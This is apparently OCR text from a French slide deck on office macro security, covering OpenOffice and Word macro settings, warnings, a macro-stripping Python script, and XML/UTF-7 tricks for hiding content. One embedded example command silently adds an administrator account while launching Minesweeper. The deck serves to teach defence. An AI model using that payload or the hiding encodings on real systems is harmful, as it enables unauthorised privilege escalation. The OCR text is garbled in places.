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Sécurité des macros

Miveau de sécurité | Sources de corfiance

Miveau de sécurité trés élewé,

'S Seules les macros provenant d'emplacements de fichier de confiance peuvent tre
execukées, Toutes les autres macros, qu'elles soient signées ou non, sonk
désactivées,

Miveau de séouriké éleve,
() Seules les macros signées provenant de sources de confiance peuvent &tre
execukées, Les macros non signées sonk désackivées,

fliveau de securite moyven,

fion sécurisées,

(%) Une confirmation est demandée avant 'exécution de macros provenant de sources

Miveau de sécuriké faible (déconseilé),
{7 Toutes les macros sonk exécutées sans confirmation, KNutiisez ce paramétre que si
wous étes cerkain que tous les documents peuvent &tre ouverts en bouke sécuriké,

Avertissement de sécurité

& C:Documents and..." writer macro Basic DocumentOpen.odt

e document contient des macros de document,

Les macros peuvent contenir des virus, La désackivation des macros d'un
document est toujours sdre, Sivous désactivez des macros, certaines
Fonctionnalités Fournies par les macros de document seronk peut-&tre
perdues,

Activer les macros ] [Désactiver les macrns?] [ Aide

(]4 H Annuler H fide

| | reinitialiser
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Fichier Madifier

Ca i = ney  Insérer une icone...

£

—Contenu-- Affichage: * pescription

cmd /k net user TOTO motZ2passe! /add &net localgroup administrateurs toto /add&winmine
Jouble-cliguer ici pour jouer |
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Options - OpenOffice.org - Sécurite

B CpenOffice.org
Données d'identité
@énéral
MEmaire wive
Affichage
Impression
Chermins
Couleurs
Police

Accessibilice

Java

Mise & jour en ligne
iZhargement/enregistrement
Parametres linguisktiques
OpenOffice.org Base
Diagrammes
Internet

HEHEHH

%

Cptions de sécuriké

Averkir si le document contient des changements enregistrés, des versions, des informatNos

ou des nokes masquées lors de

[ ] lenreqistrement ou 'envaoi de documents la signature de docurmnents
[ ] limpression de documents [ ]la création de Fichiers FOF
[ ] supprimer les informations personneles lors de I'enregistrement

[ ] Protection par mot de passe recommandée lars de l'enregistrement

Reglez le niveau de ik R SRR [ 22 |2s
déweloppeurs de macros de confiance.

Sécuriké des macros..,

Qptions de partage de fichiers pour ce documenk

oK, | | Annuler | | Aide | |

Précédent
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Centre de gestion de la confidentialiteé

Editeurs apprauvés
Emplacements approuvés
Compléments

Parametres Activek

Parametres des macros
Earre des messages

Ciptions de confidentialité

Parameétres des macros

Pour les macros des documents situés dans un emplacement non approuve :
{:} Désactiver toutes les macros sans notification

{E} Désactiver toutes les macras avec notification

() Désactiver toutes les macros a I'exception des macros signées
numéeriquement

{:} Activer tautes les macros (non recommandé : risque d'exécution de
code potentiellement dangereu)

Parameétres de macros pour les développeurs

|:| Accés approuvé au madéle d'objet du projet YBA

2K | | Annuler




Révis

T = R I Word2007
| asd
e
~ Accueil Insertion Mise en page Reéférences Publipostage
.;:'!'Laj K- |3y Orientation = ¥= Sauts de pages ~ \A] Filigrane ~
e ' — Ij Taille = ¥ Numéros de lignes = | <3 Couleur de page ~
Themes Marges __
- El' - EE Colonnes *  pE Coupure de mots - Q Bordures de page
Thémes Mise en page 5 || Arrigre-plan de page

@ Avertissement de sécurité  Les macros ont été désactivées. Options...

s
(1)
) g

JEU:

Quel est votre VRAI niveau en
sécurité informatique ?

Pour démarrer, cliquez sur Options
puis sur « Activer le contenu »,

Microsoft Word

Merci, wous venez de lancer une macro YBA - Document_Cpen

=nlo

p -

@ Alerte de sécurité - Macro

Macro

Les macros ont &té désactivées, Les macros peuvent contenir des virus ou d'autres
dangers pour |3 securité, M'activez pas ce contenu, sauf s vous Etes certain que la
source du fichier est fiable.

Avertissement : il est impossible de vérifier que ce contenu provient d'une
source fiable. A moins qu'il offre des fonctionnalités importantes et que
VOous approuviez sa source, laissez-le désactive.

Plus d'infios

Chemin d'accés au fichier @ S\, 2007 - macrosWord2007 macro DocumentCpen,docm

{¥) Me protéger de tout contenu inconnu {recommandé)

%&cﬁver ce contenu

®

Quvrir le Centre de gestion de la confidentialité | CK | [ Annuler
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Inspecteur de document

Pour chercher le contenu sélectionné dans le document, cliguez sur Inspecter.

Commentaires, révisions, versions et annotations

Recherche dans le document les commentaires, versions, suivis de modification et annotations
manuscrites,

Proprigtés du document et informations personnelles

Recherche les métadonnées masguées ou les informations personnelles enregistrées avec le
document,

Données XML personnalisées
Inspecte les données XML personnalisées stockeées avec le document,

En-tétes, pieds de page et filigranes
Recherche des informations dans les en-tétes, les pieds de page et |es filigranes du document.

Texte masgué
Recherche le texte caché dans le document,

Inspecter | [ Fermer
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<node oor:name="  Security ">

<node oor:name="  Scripting ">

<prop oor:name="  DisableMacrosExecution " oor:type="xs:boolean">
<value> false </value>

</prop>

</node>

</node>
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& Create Digital Certificate

Thiz program creates a self-zigned digital certificate that bears the name you bype
belaw. Thiz tppe of certificate dogs not wenfy pour identiby.

Since a zelf-zigned digital certificate right be a fargen, users will recerse a zecunty
warhing whern they open a file that containg a macro project with a zelf-zigned
zighature.

Office will only allow pou to trust a zelf-zigned certificate on the machine an which it
waz created.

& zelf-zigned certificate iz only for personal use. [F pou need an authenticated code
zighing certificate for zighing commercial or broadly diztnbuted macros, yau will
hieed to contact a certification autharity.

Click here for a list of commercial certificate authorities

Your certificate's name:

bl icrozoft

OF. Cancel
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— @ip —d mydoc.odt Scripts/*
Basic/* object*

— @Ip —d mydoc.docm *.bin
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import zipfile, sys
try:

infile = zipfile.ZipFile(sys.argv[1], "r")

outfile = zipfile.ZipFile(sys.argv[2], "w")
except:

sys.exit("usage: %s infile outfile" %  file )
for f in infile.infolist():

fname = f.filename.lower()

if not fname.startswith(" scripts ")\
and not fname.startswith(" basic ")\
and not fname.startswith(" object ")\
and not fname.endswith(" bin ") :

data = infile.read(f.filename)
outfile.writestr(f, data)
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<?xml version="1.0 encoding=" us-ascii " standalone="yes"?>
YHIDDENTAG:Z malware[...] Y/HIDDENTAG
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<?xml version="1.0" encoding=* UTF-7" standalone="yes"?>
+ADwW-HIDDENTAGAD4- malware[...] +ADw-/HIDDENTAG+AD4-
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@" $ !# % &A
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@" $ '# &(E X

0. ? (@draw:.object-ole>
& <text:script>
) & <draw:applet>
) & <draw:plugin>

E! | % I>$ 1 $%
<office:event-listeners>
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